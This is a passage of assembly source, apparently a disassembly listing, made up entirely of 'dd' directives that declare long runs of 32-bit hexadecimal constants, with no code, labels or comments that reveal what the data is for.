		dd 16AC0A26h, 0DA36B2BFh, 42ED284h, 6E22D4h, 57EEBFE2h
		dd 9CE0710h, 0C3217614h, 0EB51BACBh, 136B73A0h,	567A74C5h
		dd 99C9928h, 0FCBEFCA8h, 9A7016A4h, 403852E0h, 1B21C581h
		dd 0ADF5EF5Bh, 0A27DA8CEh
		dd 843A47ECh, 0C91E6151h, 3A9302A0h, 9E0CCA69h,	0FE5EA800h
		dd 1699C23Ch, 0A0873675h, 0F1A31714h, 64F91FCEh, 0CADCD969h
		dd 297398F2h, 0F4EC5F62h, 0F374728Ah, 2D1EC0ECh, 9BCC47E1h
		dd 869DDC2Ch, 0D6B9FE6Fh, 0FDD804F3h, 0AE83983Dh, 91246A58h
		dd 0B837D09Ah, 95937C35h, 0BD7739Fh, 2DE70B23h,	696426C9h
		dd 2C3879B8h, 3DBD2F12h, 2DB32D80h, 17C63DB4h, 3285D724h
		dd 3C9CAADDh, 93ECD0BFh, 0FFD309C9h, 0A0F87F29h, 96DACF80h
		dd 0E2F7482h, 272A1067h, 94C3D344h, 0D4B77F26h,	253E4933h
		dd 2D5EDB63h, 89135C34h, 749D7462h, 162D9F2Dh, 4BE4BE46h
		dd 0B3557545h, 4139D9E2h, 27D79F8Ah, 17F2E042h,	0A2486C69h
		dd 0A9236C46h, 0D180E79Bh, 3354BE1Bh, 0C15547C3h, 6639CC8Dh
		dd 0B766018Eh, 7485AE9h, 0AEB3DCE6h, 3A41BD5Ch,	0B6211131h
		dd 79DF2817h, 6CF9F84Dh, 0A3462808h, 0AB3A6AEBh, 5133DC7Dh
		dd 0AAD95EA7h, 384FC98Bh, 917C3B6Ch, 0A19795F5h, 33ED07E1h
		dd 0D96D9704h, 4E80A3A1h, 9357575Ah, 901DFD95h,	0E7C67BB3h
		dd 0EBF469EAh, 0F5DAAB57h, 98FF4B04h, 31BF2FDAh, 97F860C7h
		dd 56EC2C7h, 46CF12D8h,	59C59A50h, 9CFF0EB5h, 0F978DB68h
		dd 47F8780Dh, 120EC60Bh, 520FB23Bh, 3BDDED37h, 9E5E74E2h
		dd 0C8999D99h, 9E3D000h, 2F32D927h, 6A4DBD19h, 0C5F5CC72h
		dd 0CDB9E3D7h, 19E296C5h, 0F506DCF6h, 0D94127A9h, 325CE8E6h
		dd 89317629h, 0CE0F218Ah, 0AE4E30E3h, 755D6E7Fh, 320A18A3h
		dd 0C81A7AE5h, 7CFCE48Bh, 4E2AB297h, 786C86BBh,	9A725DF0h
		dd 0A410C84Bh, 1B272774h, 7089917h, 3BD1BE5Bh, 0C90DE5C4h
		dd 3BD3EF43h, 0C4CB457Dh, 0C0D066D7h, 3BE32709h, 63FA09C2h
		dd 0F22246BBh, 60859F3Fh, 0CA46D428h, 7DC8D15Bh, 0AF231577h
		dd 94572A4Ah, 0DD60169Dh, 8728145Ah, 8126556Bh,	0A4A6F37h
		dd 0DC01478Bh, 189FE6EAh, 1992E7B1h, 89D5C85h, 0CCD00E5Bh
		dd 0EF1B2776h, 0D8578115h, 0DF8F4974h, 0DEDB8F0h, 25FE35D3h
		dd 698E9A80h, 10877509h, 0DA0601Eh, 8288A0FCh, 0F4E037D8h
		dd 0FDF60861h, 0D2BECAE5h, 0E362763Bh, 8C8AFFCAh, 0EE4FD4DEh
		dd 11846A6Fh, 5643FBB1h, 98426E4Bh, 998CA941h, 54671FAh
		dd 994C5A4h, 0FB94A331h, 0B06E754Dh, 66767A6Ch,	12DD9F07h
		dd 1F57AD3Ah, 7B9A610Bh, 7FE8C9AEh, 0A0ADF322h,	10741FE2h
		dd 40419027h, 0E536F569h, 7984FEBFh, 0BE2724C1h, 129D5355h
		dd 92153ECBh, 66F3F2F0h, 248EE303h, 0E81AFF73h,	0A1679BAEh
		dd 31CD7678h, 50A15798h, 285B825Eh, 3B1673AAh, 81ED8C3Ah
		dd 3B979C5Fh, 4F2A9DFDh, 19C72105h, 76CC4BA3h, 0D3E145BAh
		dd 0C7AC62CDh, 4A740157h, 0E1B3698Ch, 0A600336Ch, 72474D8Bh
		dd 38EE707Bh, 0A8BA1762h, 4D8C85F9h, 0AA32A56Dh, 0C4A662E8h
		dd 0AEDD3D26h, 7503DBBEh, 0D9FFAF63h, 0F9FA045h, 76E27672h
		dd 554ED981h, 0DF389B90h, 7CDFEBF0h, 7E7A3A0Ch,	4A800ADDh
		dd 0E6FD9FF4h, 5E819E57h, 0F4AF3DBh, 0C5186F95h, 54C0DCAFh
		dd 70EE1DB5h, 0A623299Dh, 0D032C5F4h, 33D3D82Bh, 53E23E25h
		dd 0B185B5E4h, 8477A7CDh, 0AC50D9Eh, 0A55CE322h, 0C86A8A58h
		dd 0B675CC4Dh, 0EBF7BB02h, 0E3B084CAh, 16CFC010h, 8083BF24h
		dd 0D0917B75h, 0E08B3AB5h, 857B260Ch, 5A37F9F4h, 0D500D67Dh
		dd 0F38BFA0Bh, 0E7B4D6AEh, 0AC8E0B0Eh, 0E65CFD06h, 1043158Fh
		dd 58C30FDAh, 0A5C87640h, 1C9DCA7h, 0AD58ECBCh,	78989CEh
		dd 98CAE0A1h, 395ED9E5h, 0CF34DCAAh, 115AC73Eh,	0E5949921h
		dd 0CA90B2DDh, 5AFC20Ch, 5BA81010h, 2C06840Ah, 0B94E48A8h
		dd 0A73897E8h, 0B151694h, 51F1C7C5h, 2FD9B6B5h,	3BE1F9B7h
		dd 8899A223h, 0AFDC83C9h, 1E8E8B7Bh, 0C6A5CFAFh, 0EF72BF9Eh
		dd 0E3952434h, 0FB53062Ch, 3DF186B2h, 2FC954DEh, 99F02710h
		dd 4E1D2D46h, 2E9B636Eh, 5230FC7Ah, 3D8BE928h, 0C57301B5h
		dd 6ED8EA2Fh, 29BE6544h, 94B78C38h, 0A0C61F6h, 4F24576Ah
		dd 0B3D5FEh, 0F759501Fh, 4085866Dh, 87EFC113h, 0B73D5DB3h
		dd 85388BBFh, 26AAAB2Ah, 1E29F397h, 0C133B4EBh,	9F045222h
		dd 47C283Ch, 62CC0940h,	0E091DCA3h, 0D33A9518h,	9D7692FDh
		dd 500C5269h, 89F437C8h, 6A4FF16Fh, 7E1DDBA4h, 6DBCD6B8h
		dd 0C2A1DFFBh, 0D300CCE8h, 0DF6BDA32h, 2F9411BBh, 605D553Eh
		dd 2A3C0A11h, 0D5FE8B99h, 6ABB9D8Ch, 0BC3ED7F9h, 1BECE819h
		dd 9A86536Dh, 0E70BF968h, 0BE0AD0D0h, 0A43EF80Eh, 6DFBE95Ah
		dd 92E9BA37h, 0DB5357C3h, 71F02807h, 852A0E26h,	8A4F481h
		dd 0CAF90AB5h, 2D78FBA8h, 2D5BE632h, 0D065A2ADh, 0EC4715AAh
		dd 8A538A62h, 0E02211FFh, 0ED014E4h, 0B5F6170Ah, 8A9207DBh
		dd 182AD796h, 21DF6DF9h, 673C0580h, 0C72EA179h,	49CB7FEBh
		dd 0B5C4457h, 0E3F0F655h, 0B3AAE6C4h, 0E788DD31h, 4744CD22h
		dd 7B6FE2D2h, 5BDA4958h, 0FE2ACABFh, 0E4BA6B86h, 360ED8C4h
		dd 0AE55FA24h, 5369A3BEh, 0DBC3132Ah, 0FAF25885h, 0DD6F75E0h
		dd 0DDEB5D4Ch, 0B42FF92Dh, 65D65C7Ah, 5FC505F4h, 0C7510BF8h
		dd 808A92B3h, 0A28A5371h, 0D3FEADF6h, 81CFBEF5h, 0CE21ED68h
		dd 0C4DF420Eh, 685CE887h, 1B3D82FAh, 74F94276h,	0A3835E16h
		dd 0F026376Fh, 1331B6BCh, 542CF97Eh, 0ACFF1BBBh, 0FB938178h
		dd 29925A7Eh, 827F4BEh,	134474E8h, 80A06F30h, 53E4181h
		dd 7652915h, 0AA75A624h, 71AE6AC2h, 93CA68C9h, 2F6AC50Ah
		dd 2D53CB26h, 838FDD5Bh, 7E6C2BF9h, 37E173A7h, 16F9C8DCh
		dd 27B876A1h, 9ED0C2BBh, 13567C13h, 5ABCCE60h, 0ADA0D0C9h
		dd 0FBFCA4D1h, 0BB59125Eh, 0CDEF8363h, 0CD11E381h, 0A4D12BDAh
		dd 30AF7DC5h, 23406589h, 65215598h, 0AFC3A3E0h,	0E018E62Ah
		dd 0C776FEACh, 0D444C0CBh, 3323A9ACh, 17A2513Dh, 0C4FF98D7h
		dd 1D17B3F4h, 0B2120C74h, 967DB67Ah, 0F8BAD76Fh, 0B4BCBBDBh
		dd 192C21B0h, 74FF0595h, 0DDCCD671h, 3E26185h, 5F8561Eh
		dd 45B47C9h, 0FD1FEDA4h, 0D58428A8h, 410D7F04h,	7A13F3C0h
		dd 33137177h, 1A37FFD1h, 0A8E3AB57h, 0C43A030Ch, 0BEE0AB57h
		dd 0E3EC4005h, 46C176BCh, 6E7CBA3Eh, 689FEB6Fh,	9EE2FFE3h
		dd 65900D6Ah, 72A9699h,	78798027h, 5803E549h, 1AFF66B9h
		dd 0BAF11E56h, 6A8EC53Fh, 0C13FDD55h, 0C07BE5D2h, 87F108D2h
		dd 7623A376h, 0B42F148Eh, 69F5DB73h, 0B8F96C48h, 0B321411Dh
		dd 360B982h, 0EACD91F2h, 0AA4321CFh, 741772BEh,	0B1C77A79h
		dd 0F476E58Dh, 4D759B0Fh, 0BD2F27CFh, 0AB2E3360h, 3AC19054h
		dd 75E812E9h, 73FC2E8Ah, 1F6A081Ah, 73F94B32h, 1FA0F13Fh
		dd 64EC1874h, 0B412245Eh, 9407EEBCh, 38A29240h,	2D95A65Fh
		dd 4954E3F2h, 9636DCB8h, 0F7BFEFAAh, 0D0D4B2D2h, 25507600h
		dd 113E34EEh, 0FD8A3A23h, 0D05AFF6Fh, 0E33A6A46h, 6B7C5630h
		dd 0AC862874h, 9B65CAD3h, 29374DD4h, 0C0DF83B3h, 343E9DDFh
		dd 0BF0C963Dh, 0C953C441h, 33EE3E7Dh, 668BF711h, 16E3DEBAh
		dd 0D409EB69h, 8085FAD2h, 5C77AB36h, 3CE9FF12h,	633FB44Bh
		dd 4BCFE049h, 43AA507h,	0EDB1BB6Ah, 3BDB5B6Fh, 8EA5DAD8h
		dd 2BC667B3h, 9731975Fh, 6011B84Ah, 0C1DDCE3Bh,	15E61087h
		dd 0C0EA444h, 0A7271E0Dh, 57C7C6F8h, 0FAD4B20Eh, 701F8949h
		dd 6CB087CAh, 8FDD77FFh, 0F9B8FC81h, 55F09C05h,	0A8740B4Fh
		dd 60DA643Ah, 0F9505CD2h, 9A376FB8h, 5917E93Dh,	0FF4F04CEh
		dd 2FF3BB86h, 64ABE43Dh
		dd 24E66C40h, 0CD64CA4Bh, 0BF2EF9FCh, 90ACDE1Dh, 723A3891h
		dd 644FBF54h, 0F2D85BBFh, 0C7AB961Dh, 8D287468h, 0B73997Dh
		dd 0FEB2D882h, 0BC24A40Eh, 7F0EFFF1h, 32C660BEh, 9B6A380Ch
		dd 2257BC71h, 7A1E76FCh, 0FD3B2313h, 5DC48086h,	0A47FEF81h
		dd 473F85A0h, 0FA72A0D5h, 3A554FF5h, 4160C749h,	7DBA95D5h
		dd 80A11DACh, 2897608Bh, 72D37371h, 5907729Ah, 5FE9D909h
		dd 611809DBh, 0B2A8B6C4h, 74A20EABh, 0CEAE039Fh, 4EBEE936h
		dd 0D151E3E2h, 81DF8474h, 0E1928AB8h, 78E7845Fh, 37953848h
		dd 4961A915h, 0D429912Bh, 7EA74B41h, 0D54A259Dh, 0B2A66943h
		dd 0C09EDF43h, 2C477772h, 0BFC0CC07h, 3294BC76h, 9B676AE5h
		dd 1B974304h, 1016B482h, 6E9BB4C5h, 5F6B710Fh, 2211FCFh
		dd 0BEDA7624h, 204BED8Dh, 0DBAA8A6h, 0A2344B29h, 171E6CB0h
		dd 8375823h, 6C42229Bh,	1C2196F8h, 0CC6FCDB8h, 53B81E8Eh
		dd 0D0E0B14Eh, 0C9EDA755h, 0B361089Dh, 5596EF80h, 0C3F4C793h
		dd 0BFCBC821h, 28242888h, 106B36ADh, 0EF53480Eh, 0E2FF96EEh
		dd 2DE098D6h, 7DF3C901h, 0C7A8E603h, 0A7E7E1A0h, 0DB2FDA6Eh
		dd 0CB5C685Ch, 75EDEF98h, 0ADFDBFCEh, 3810BD8Bh, 0A9A5BA3Eh
		dd 0F0A0A0D6h, 0C801F55Bh, 91E404B2h, 0EF676188h, 91803CACh
		dd 8ACADC6Bh, 0CB21E157h, 64522CB4h, 466B07C5h,	96970BDFh
		dd 5133C26Bh, 0F8E278D9h, 2600A7F2h, 0B364169Dh, 0FFFFC6C5h
		dd 0BAEAEA6Fh, 0DD344D42h, 0D548F160h, 5C3E828Fh, 0BFD3575Dh
		dd 75B0D663h, 0BB9034B1h, 0F648D7C2h, 31D0C222h, 0B3B32A46h
		dd 6E313D8Bh, 0CFF853BAh, 0CC6C27CFh, 0BEA716F7h, 0FE6BDF71h
		dd 5F67A74Eh, 0F827D635h, 4B1E897Dh, 768B6F5Fh,	0D3041D2h
		dd 3755CAEh, 3BC39DDBh,	222658B6h, 0EE692C28h, 0CA54DD35h
		dd 8ED8B526h, 8F1C5E2Ah, 74697AF5h, 0CC8AA874h,	7D7A4766h
		dd 0F637F434h, 768575B9h, 12661704h, 10824F4Bh,	9DC8E61Eh
		dd 3C506234h, 9E252264h, 0E1BF841Ah, 0CD6DB28Dh, 9EAA4D36h
		dd 5D138BD5h, 0BCF3CAE7h, 5B620CBFh, 185AF4C0h,	0A5E6AFC6h
		dd 288B68C3h, 1EC4BD1Ah, 3030815Fh, 0BFF2CCA2h,	153EF93Ch
		dd 1AA16AD9h, 0AAF00504h, 710D775Bh, 3CADF805h,	0E1B4D309h
		dd 0C305AAFh, 0EB8FA016h, 8D979563h, 3F1CACD4h,	0DB98617Eh
		dd 69EB30B9h, 2DAFC3F4h, 0A041925Dh, 0A2543BF0h, 79CF1481h
		dd 0D72969CDh, 9CF65214h, 99541358h, 12CA7BA6h,	80B1B7B1h
		dd 21D091ECh, 0FA7D3838h, 0C163D034h, 0A0D855B1h, 0FFFC1A55h
		dd 0C133204Ah, 0E4944247h, 90E97258h, 9FAB6C96h, 3181834h
		dd 0F4DE27A8h, 41C17915h, 4B27E497h, 0E1915584h, 0BE81C19Dh
		dd 1E4AA9E5h, 3511856Dh, 32C8ED09h, 0FF5B9849h,	8552C755h
		dd 0E5CD27FCh, 807DA863h, 0B96D5D37h, 0FB1F7B39h, 0B4059C0Ch
		dd 32D95776h, 0CA2432EBh, 931390C5h, 0DDC9EE1Dh, 105FAC6Dh
		dd 5AC3B281h, 0F9377CC8h, 3EE9DF21h, 201D2D6Dh,	61FD75A1h
		dd 0E88EDCDFh, 0C8F576B6h, 2080897Ch, 240D0008h, 0C15E7F50h
		dd 69B49E8Ch, 50594C7Eh, 78E03C77h, 0EAAF2AE1h,	0E8A03C80h
		dd 0E66992AAh, 0CD023D68h, 26E33868h, 96ACDD81h, 1C257494h
		dd 0B625CB5Fh, 0BB6E38ADh, 0F3937403h, 1B234234h, 0A3E03F99h
		dd 78C25AA0h, 0CF4BF776h, 8A10BAEDh, 0A2D6E2F7h, 0B101C812h
		dd 0F906E2EAh, 0DB2645E3h, 0B4D5EEBEh, 3E95B272h, 0E06C0603h
		dd 23AE1252h, 0C41E1FACh, 0EB8E1D81h, 8D2EFDF6h, 73C3C8E5h
		dd 76A2BAAh, 6F4D9949h,	0E811CF8Ah, 50F94865h, 0BAE382E5h
		dd 0DEC44748h, 18020DCAh, 0EB5C1524h, 0E90D48B2h, 0B7A0BD46h
		dd 2429CB37h, 28C0CB57h, 1F395D50h, 0CBE2DF2Bh,	566749D7h
		dd 177FC5F6h, 535EFD26h, 0B314CE79h, 4D1FDDA4h,	0B297C22h
		dd 1D6AF40Fh, 64C2DE76h, 2B983C9Ah, 7D9831ACh, 3584500Fh
		dd 703009DAh, 0C3CAB622h, 4913C177h, 58440662h,	0D6153BB3h
		dd 6166502Eh, 0F851D8AAh, 6AC2299Ch, 9A41B336h,	98329DD7h
		dd 9EDC49A8h, 2FAA7D1h,	0E9BDC8BBh, 0E05DE34Fh,	0DE53928Ch
		dd 92B0D3BDh, 0BB7D6388h, 453D1568h, 998625FEh,	410BCBB7h
		dd 6BA63CD3h, 0CF41AAFBh, 0AE10EE33h, 3B97B8C4h, 27FDE169h
		dd 13064759h, 0B484D5C9h, 49B4D399h, 8595F7DEh,	794C5EF4h
		dd 7CFB6D3Ch, 0D827EF9Ch, 3D04C47Dh, 37F81CF0h,	0BD6DD362h
		dd 4C0E55E5h, 0F1A1EBE6h, 1AAC26A1h, 67F54595h,	32B12CFh
		dd 0EBBFCE02h, 0E27FB507h, 0BB267A46h, 45AA90D5h, 0A10EFE7h
		dd 0A59CA168h, 1D906BBDh, 0C9F9972Fh, 0AE022DDBh, 242B1CDEh
		dd 383B6848h, 4D2C1428h, 0FFF035A8h, 0FB0F8725h, 1A6EAAB4h
		dd 7D8FDFBAh, 0A04959C2h, 0F0D7AF26h, 9A09B50Eh, 0B83B5FEFh
		dd 0D1C636A1h, 7946C76Bh, 0A27B1DD4h, 0CB710D02h, 0E5CD95D2h
		dd 4700C518h, 590E5872h, 0D684641Dh, 0E84AA4Bh,	9857D6F5h
		dd 0E971FCFAh, 4D1BC4E6h, 52BB4E91h, 1065CA76h,	0D13BC89h
		dd 3FCF986Dh, 56023F20h, 3252B5F2h, 0EA9BF028h,	0CDE7A5DBh
		dd 34251D2Eh, 9F70D93Ch, 2A11E019h, 6E557196h, 0A3681EDDh
		dd 9B688A28h, 30CD91D3h, 0AEE3E3Ch, 0DE71D696h,	0D19D7EF9h
		dd 588BE635h, 517D8843h, 26552240h, 669777D3h, 0A3B22AE2h
		dd 0CDFFF29Dh, 2F50A3EEh, 0FBC1FB8Ch, 25BDD88Ch, 98D6CD9Ch
		dd 0CAAAE29Ah, 9EEE2034h, 0BB376248h, 0C03F02E0h, 0C8D7926Dh
		dd 683E222Eh, 0D72DE7CFh, 60810DC1h, 0CEAD8618h, 0FC406019h
		dd 0FCE0B080h, 0B131EF16h, 71F5FE9Dh, 9B2E2FEh,	0F7B29375h
		dd 1DCCC780h, 0F0CD716Fh, 0E2DE317Ah, 49D7A51Fh, 0B07EF51h
		dd 72DC248Ah, 0DBC04CFh, 0D6C75260h, 0E5356DE8h, 48AB2E4h
		dd 3C823D0h, 0BA74ABDFh, 0E995F7E7h, 1D4AC217h,	10DF02E2h
		dd 28D58803h, 8CBC5145h, 0A41C5C0h, 0B7A6E13Bh,	0FB2AA952h
		dd 0DB2CB888h, 0DC58B64Dh, 0E9EEAFC5h, 923FFDA1h, 0B35A33FDh
		dd 0F0C6898Ch, 6AF35D49h, 8E44DE52h, 36765EACh,	13A95B7Bh
		dd 0F4375AF0h, 0CF45EFEAh, 9E7F5028h, 36ECEC73h, 11AB7338h
		dd 25284908h, 0F021BF3h, 0CA8B7386h, 0AA2E27D4h, 4AAB37E4h
		dd 95FFD749h, 0DBF47270h, 0AFDEAC10h, 84D4B473h, 0AB311DECh
		dd 0FBAF71BCh, 1B34FC45h, 149FE9B2h, 6A8B86BCh,	0EA496343h
		dd 4B646779h, 706A515Ch, 6E270976h, 0FC83E1BFh,	2E15E0F9h
		dd 517F3286h, 68AE4FA3h, 0B581502Fh, 0E5395F68h, 6FB3BDE8h
		dd 3861EA58h, 341BC00Dh, 0C21586E6h, 5CBE2A2Bh,	0D44DE6A4h
		dd 681A3E5Dh, 2CF00014h, 0A11971CDh, 0B52E7F72h, 14B578Eh
		dd 0D5F117C2h, 9A957411h, 0FE5EB3CBh, 0BAC54293h, 2A1B6643h
		dd 0ED2A73C2h, 9CD8DA7Dh, 13BCBE2Bh, 0B413BB83h, 2188051Dh
		dd 3C4FBA7Ah, 234F57DDh, 44A77406h, 0EE36B2BCh,	0ED3F65BFh
		dd 5E088020h, 0A27CC891h, 673A65DFh, 83954CCCh,	315AE09Ah
		dd 0E1008A42h, 0C0E6E033h, 6E1F11FDh, 0E68C23ADh, 9A0010DDh
		dd 2840096h, 70CE0711h,	0AD84E4A0h, 0F857E73h, 0CF3B140Eh
		dd 40E2E524h, 1C93A0EAh, 3AAA3CC4h, 0C17B213Ah,	0AEFFB83Ah
		dd 0D53E5A75h, 6777098Ch, 0F2B4FF0Ah, 0E0390E4Eh, 4D0CFE56h
		dd 0EAE3FF05h, 7F37C062h, 0F1EE3A2Bh, 76274DE2h, 0B65A240Ah
		dd 0F90D6868h, 655A703Fh, 0F6E107E2h, 0CFC83E9Bh, 21D13C18h
		dd 399DD411h, 88B138D8h, 91AD586Dh, 0F9D27BBDh,	0FCD4DCB4h
		dd 5476B358h, 82218929h, 1A28C400h, 3CA1B8Ah, 0C1B6C8D7h
		dd 2817182Ch, 0B86AB2F1h
		dd 9201230Bh, 4BC6CEF4h, 0EA2582A3h, 6816D6B5h,	2C8B5571h
		dd 0AAD17DBh, 93C4D244h, 0A4BB12AFh, 2A3ADE9Ch,	2D9201D1h
		dd 49BFFB94h, 0EDCBF39Ch, 7EEB48A9h, 21B327A5h,	24C8CAE4h
		dd 85C52C0Fh, 23269F62h, 58463834h, 0B6CDC898h,	654F5FD6h
		dd 0CFFF7193h, 5EBFA6A8h, 9AD947B8h, 0CCC22793h, 33E32557h
		dd 42C7EEEDh, 79C954DAh, 7E23609Eh, 713B0ABCh, 81E65D0Bh
		dd 969AAF90h, 62F359FCh, 9041767Bh, 0E5AA98E3h,	0F9FC4FD2h
		dd 8FA854B8h, 0EBA25FACh, 852A85C9h, 6E935562h,	4E8DA36Bh
		dd 38F2E48Fh, 0ADA8737Ah, 8B1359h, 72065BE5h, 2BAFC772h
		dd 0F442F1D6h, 892321C6h, 0AF643A38h, 6EB2BD2Ah, 0D5DBE06Dh
		dd 4AF71847h, 0E3006EA3h, 9BBD9B85h, 0C9D2B8A9h, 12F4CB92h
		dd 24862E0Bh, 87AB3E8Ch, 93477F85h, 0E5E198B5h,	68A51C39h
		dd 802B8ACCh, 0D8D17F81h, 52DC9502h, 0BFBD2675h, 0DA2D6711h
		dd 4B67F0BDh, 9CAF3522h, 4DFDC6DBh, 33689B08h, 6221F92h
		dd 0BB35641Bh, 43C789D2h, 0FA36750Dh, 0A1ACDEA2h, 3512C220h
		dd 0D1272426h, 0E52FAE62h, 0C8F7134Ah, 0E0D6D6D9h, 403492D9h
		dd 5B23420Ch, 1CB7A24Bh, 72F7B31h, 21F4EE97h, 0CE2AC75Dh
		dd 80048817h, 0E288B0D1h, 5A4F5A1h, 0A57B69C4h,	0E2FE1ED6h
		dd 35945E67h, 724FEA3Ch, 0A1E7C815h, 184B9B40h,	583DE26Dh
		dd 4EE998Fh, 0EBC8554Ah, 4236C84Dh, 15197B9Ch, 9E1E24F3h
		dd 4609CD10h, 9C1656EBh, 6E718FD9h, 0EA4E09C6h,	0CD576DA5h
		dd 52EDB285h, 526D4E5Bh, 211069D7h, 3CB43CA9h, 419F05AFh
		dd 0ACF90D80h, 9D09F21Ch, 4BD00428h, 52486538h,	234F5EFCh
		dd 83454168h, 5CF4C3BCh, 0F37B30A7h, 0C52DF9h, 338D897Ah
		dd 0D0894CC4h, 9DB857BEh, 0BCED7FD6h, 9AF4E929h, 79713C1Eh
		dd 1A2A2D3Ah, 0C4535E3Eh, 1DCC9E89h, 0C566E001h, 5A4F5FB5h
		dd 0ECA14378h, 8D4F09BBh, 3CDBADA8h, 0D5915E50h, 4C3A7204h
		dd 379FCE8Bh, 26C64120h, 7C0A663Bh, 0F934E991h,	0BFA229CAh
		dd 0C1C5BF98h, 5D4617A2h, 0F2F07FE2h, 43AA2B66h, 0DB4E1859h
		dd 9284CCE2h, 0C0A5EF83h, 0A67BB243h, 0C72D9C0h, 0DE5792C7h
		dd 0B9413E77h, 3B90C2ECh, 0D79E1F02h, 0ED35CC50h, 71F0B04Eh
		dd 83FBA550h, 0BC348C02h, 6C9F347Fh, 4986D864h,	0EE6BB0E0h
		dd 0DA9ACF8h, 30B80B1Bh, 0A04AE5A0h, 0FA66BACAh, 91636FE8h
		dd 98C6353Bh, 0E3E45667h, 7C37F0D2h, 50A9E394h,	0E9959596h
		dd 23862A9Ah, 0BF5F8301h, 8402D95h, 625497B1h, 6BEBE3D2h
		dd 0C481482Eh, 61DD5156h, 3565FBBAh, 8278EF76h,	7A8B036Bh
		dd 21B18DF2h, 21AC107Ah, 7962446Fh, 1027578Ah, 0DBF80960h
		dd 0AE57F1DFh, 0CCD4B1h, 0B31EFFC4h, 0D76E3AC5h, 0AF6E7E94h
		dd 35FEEDBEh, 0A49135F6h, 0B1CE2923h, 0AC8DE70Fh, 6CEFF3E8h
		dd 872A4129h, 957A20BBh, 69AFA2E5h, 0AE73CC8Ch,	0D7F4F7A7h
		dd 925BDC69h, 0BE0C3653h, 0E3221E41h, 41B5405Bh, 0C70EF0BBh
		dd 0B143250Dh, 0B83ACB40h, 705C80Ah, 2081A1DDh,	3C051A11h
		dd 79D6634Eh, 998966D9h, 308860DAh, 0F91C35D0h,	600FB7B6h
		dd 877CEB42h, 0E8273F19h, 0B954FBB8h, 21206C19h, 0CBDAF9C7h
		dd 82851E27h, 0C73EF4D8h, 3F7F8207h, 0C1ADAB69h, 0AB11C474h
		dd 2C0DF892h, 64833841h, 0A44C21D9h, 1E13C0CAh,	0CC573D25h
		dd 56343202h, 87E1F896h, 0D3803205h, 52AC476Ch,	8AC64BE1h
		dd 8CFE8B59h, 45B77373h, 91EF13AAh, 8D8D433Ch, 0B5524392h
		dd 2D7D0FAh, 0E31994F8h, 9C908C34h, 0E9323C67h,	0D79359D9h
		dd 689418ECh, 538D3925h, 0A54D7749h, 0E4144E9Ch, 796FA5E9h
		dd 0D140EB5Eh, 7426389Bh, 469B131Ch, 0A967B112h, 0BCBC2D3Ch
		dd 0F9E75ADFh, 0AC29B5CBh, 0BE183B90h, 2ED6CD92h, 0D8011F92h
		dd 7FAFDEB9h, 0C7684759h, 554D0BF6h, 205F7FC5h,	0FB075AB3h
		dd 0FE9E124Bh, 61D9AEDh, 33650D94h, 36ECA9DCh, 0BF221FE2h
		dd 0DB29CAB9h, 0EE391D63h, 0B6E21AFh, 630DA003h, 0E45219A6h
		dd 0E3E8825Eh, 0E64CDDE9h, 1A901091h, 3548EA5Eh, 70A8A2CFh
		dd 0DBAA3004h, 527E131Bh, 0D23941Ah, 92611EDAh,	5B3E6AEAh
		dd 2C58A67Fh, 0B689E680h, 0DF1C96D5h, 9390D2DFh, 0A956E378h
		dd 96E064CBh, 2FDB2484h, 0EB554A66h, 2EEC4994h,	930F602Ch
		dd 82495F2Ah, 36394BA5h, 0EF216C68h, 0EF8281E9h, 27A5A4F0h
		dd 0D3845189h, 0DDF02D8Fh, 53D991F1h, 71166A0Eh, 2566B302h
		dd 406FB05Fh, 0B5E7BCD9h, 39F63AE4h, 0F2DB5E02h, 0C8786B7Ch
		dd 0A498D82h, 0B7249BF5h, 9825AA9Dh, 0CB53A52Fh, 2CD834BCh
		dd 8FAEE775h, 2BA3AD47h, 8CDE2029h, 6922950Dh, 70CDA200h
		dd 0DD34811Bh, 909F5D5Ah, 0FE2ABCAh, 0CAA5D344h, 0E3BE921Fh
		dd 73E630D6h, 450454DEh, 0D0B17CE1h, 27BDC1DCh,	0CB9AFD72h
		dd 0FC007EDCh, 5E44F2FCh, 92E3C828h, 846BD7F9h,	0DF658848h
		dd 0AE1EEF8Dh, 0F7F474Fh, 21CE544Dh, 4ACAAD15h,	0A7CC1979h
		dd 2A63F945h, 27EB3774h, 990F3BCCh, 7BD55C91h, 4ACC133Eh
		dd 20D2DD2Ah, 16DD9359h, 830618A3h, 518C7830h, 80AB72E8h
		dd 971C36E2h, 0F3F9BDCAh, 0E7A5C8BBh, 0D07CC498h, 0BFF0CC9Eh
		dd 4888A97Eh, 3E6F5196h, 2DE6CCA3h, 252E937Fh, 0F19EC4B0h
		dd 0FD8DF4A1h, 0ADE9A73Eh, 7FC6C582h, 7C35C176h, 0EE374B0Dh
		dd 35C3624h, 0E413C9h, 992CB5DBh, 26BBC724h, 0F8AAEDFAh
		dd 0D20BF8BDh, 1A6422DEh, 8E4495ACh, 8AF64010h,	0DADCA95Ah
		dd 16DB660Bh, 13705C2Ch, 6CB1605h, 0B8E97FCAh, 59210E50h
		dd 1684F5D0h, 0F2D8E03h, 4E6F2FC1h, 0CDB65685h,	0EF4B7D92h
		dd 0F57DC02Dh, 522D0F2Ch, 3FFB8FB3h, 0D19F03C6h, 73850476h
		dd 0E1C7ED3Eh, 25ACFFA2h, 8C23CDE0h, 9E6410BBh,	764A4D6Bh
		dd 32279712h, 5F738788h, 8A89C4FCh, 9B1B2DCDh, 365B1DE6h
		dd 7F04B5C2h, 4A689C8Fh, 2E884EDBh, 2A233DEAh, 69CD41D9h
		dd 0AF7CFB99h, 0FEE9E6FDh, 68BBFFFDh, 0DCCCD156h, 9FCE8F24h
		dd 9F91067Fh, 70A88D15h, 0E1FA40A3h, 376454D5h,	21E60183h
		dd 18F3385h, 7E3ACF96h,	0C26408FFh, 354F3EA1h, 330C45Fh
		dd 62317D9Dh, 0AE3C8AD1h, 0F35B0712h, 76189C75h, 775A44B8h
		dd 100C1062h, 616C0A11h, 296E882Eh, 2525E8BFh, 0EA389626h
		dd 10706696h, 4EC2E7B5h, 352D2D84h, 0DF58ADB3h,	0A7A126F2h
		dd 4699384h, 4AEE1DBEh,	98B2AC74h, 769C5782h, 0BA2C62DEh
		dd 38E1B3E8h, 0AC5C2DA4h, 0C7A6E4h, 0CBFC5DAAh,	71C461AAh
		dd 73FF7AE0h, 68642A58h, 94834A04h, 73CE6206h, 0EDF828Eh
		dd 384DA6AEh, 0DA88075Ah, 0F323656Fh, 5BF2B29Fh, 0F9C69933h
		dd 0BF3A9865h, 0E36FB62Ch, 262E83B5h, 821C206Dh, 0E87A6D4Ah
